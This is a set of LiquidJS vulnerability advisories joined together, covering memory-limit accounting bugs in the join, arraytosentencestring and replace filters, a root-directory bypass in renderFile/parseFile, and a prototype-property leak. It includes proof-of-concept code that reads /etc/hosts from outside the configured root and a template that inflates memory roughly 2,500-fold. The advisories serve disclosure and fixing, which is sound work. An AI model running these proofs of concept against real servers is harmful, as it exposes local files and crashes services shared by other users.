LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.27.2, the join filter in src/filters/array.ts computes complexity from array.length and separator length instead of the total string length produced by array.join(sep). The concat filter can cheaply double arrays of references, after which join materializes the referenced content while charging only for element count, allowing a template to exceed a configured memoryLimit by a large factor. The sibling arraytosentencestring filter in src/filters/string.ts has the same accounting defect, and a crafted template can allocate toward V8's string or process memory limit and crash the process. This issue is fixed in version 10.27.2.
liquidjs 10.25.0 documents root as constraining filenames passed to renderFile() and parseFile(), but top-level file loads do not enforce that boundary.
The published npm package liquidjs@10.25.0 on Linux 6.17.0 with Node v22.22.1. A Liquid instance configured with an empty temporary directory as root still returned the contents of /etc/hosts when renderFile('/etc/hosts') was called. I have not exhaustively checked older releases yet; 10.25.0 is the latest tested version.
Root cause: - src/parser/parser.ts:83-85 calls loader.lookup(file, LookupType.Root, ...) and then reads the returned file. - src/fs/loader.ts:38 passes type !== LookupType.Root into candidates(). - For LookupType.Root, enforceRoot is false, so src/fs/loader.ts:47-66 accepts resolved absolute paths and fallback results without any contains() check.
This appears adjacent to the March 10, 2026 fix for CVE-2026-30952, which hardened include / render / layout but not the top-level file-loading APIs.
Proof of concept: javascript const fs = require('fs'); const os = require('os'); const path = require('path'); const { Liquid } = require('liquidjs');
const safeRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'liquidjs-safe-root-')); const engine = new Liquid({ root: [safeRoot], extname: '.liquid' });
engine.renderFile('/etc/hosts').then(console.log);
Expected result: a path outside root should be rejected. Actual result: /etc/hosts is rendered successfully.
Impact: any application that treats root as a sandbox boundary and forwards attacker-controlled template names into renderFile() or parseFile() can disclose arbitrary local files readable by the server process.
Suggested fix: apply the same containment checks used for partial/layout lookups to LookupType.Root, and reject absolute or fallback paths unless they remain within an allowed root. A regression test should verify that renderFile('/etc/hosts') fails when root points to an unrelated directory.
Summary
The replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.
Details
The vulnerable code is in src/filters/string.ts:137-142:
typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output return str.split(pattern).join(replacement) // actual output can be quadratically larger }
The memoryLimit.use() call charges only the sum of the three input lengths. However, the str.split(pattern).join(replacement) operation produces output of size:
(numberofoccurrences replacement.length) + nonmatchingcharacters
When every character in str matches pattern (e.g., str = 5,000 as, pattern = a), there are 5,000 occurrences. With a 5,000-character replacement string, the output is 5000 5000 = 25,000,000 characters, while only 5000 + 1 + 5000 = 10,001 bytes are charged to the limiter.
The Limiter class at src/util/limiter.ts:3-22 is a simple accumulator — it only checks at the time use() is called and has no post-hoc validation of actual memory allocated.
The memoryLimit option defaults to Infinity (src/liquid-options.ts:198), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.
PoC
javascript const { Liquid } = require('liquidjs');
// User explicitly enables memoryLimit for DoS protection (10MB) const engine = new Liquid({ memoryLimit: 1e7 });
const inputLen = 5000; const aStr = 'a'.repeat(inputLen); const bStr = 'b'.repeat(inputLen);
// Template that should be blocked by 10MB memory limit const tpl = engine.parse( {%- assign s = "${aStr}" -%} + {%- assign r = "${bStr}" -%} + {{ s | replace: "a", r }} );
// This should throw "memory alloc limit exceeded" but succeeds const result = engine.renderSync(tpl);
console.log('Memory limit: 10,000,000 bytes'); console.log('Memory charged:', 10001, 'bytes'); console.log('Actual output:', result.length, 'bytes'); // 25,000,000 bytes console.log('Amplification:', Math.round(result.length / 10001) + 'x'); // Output: Amplification: 2500x — completely bypasses the 10MB limit
Impact
Users who deploy LiquidJS with memoryLimit enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the replace filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:
- Node.js process out-of-memory crashes - Denial of service for co-tenant users on the same process - Resource exhaustion on the hosting infrastructure
The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (memoryLimit enabled) and template authoring access.
Recommended Fix
Account for the actual output size in the memory limiter by calculating the number of occurrences:
typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) const parts = str.split(pattern) const outputSize = str.length + (parts.length - 1) (replacement.length - pattern.length) this.context.memoryLimit.use(outputSize) return parts.join(replacement) }
This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The split() result is reused to avoid computing it twice.
The package liquidjs before 10.0.0 are vulnerable to Information Exposure when ownPropertyOnly parameter is set to False, which results in leaking properties of a prototype. Workaround For versions 9.34.0 and higher, an option to disable this functionality is provided.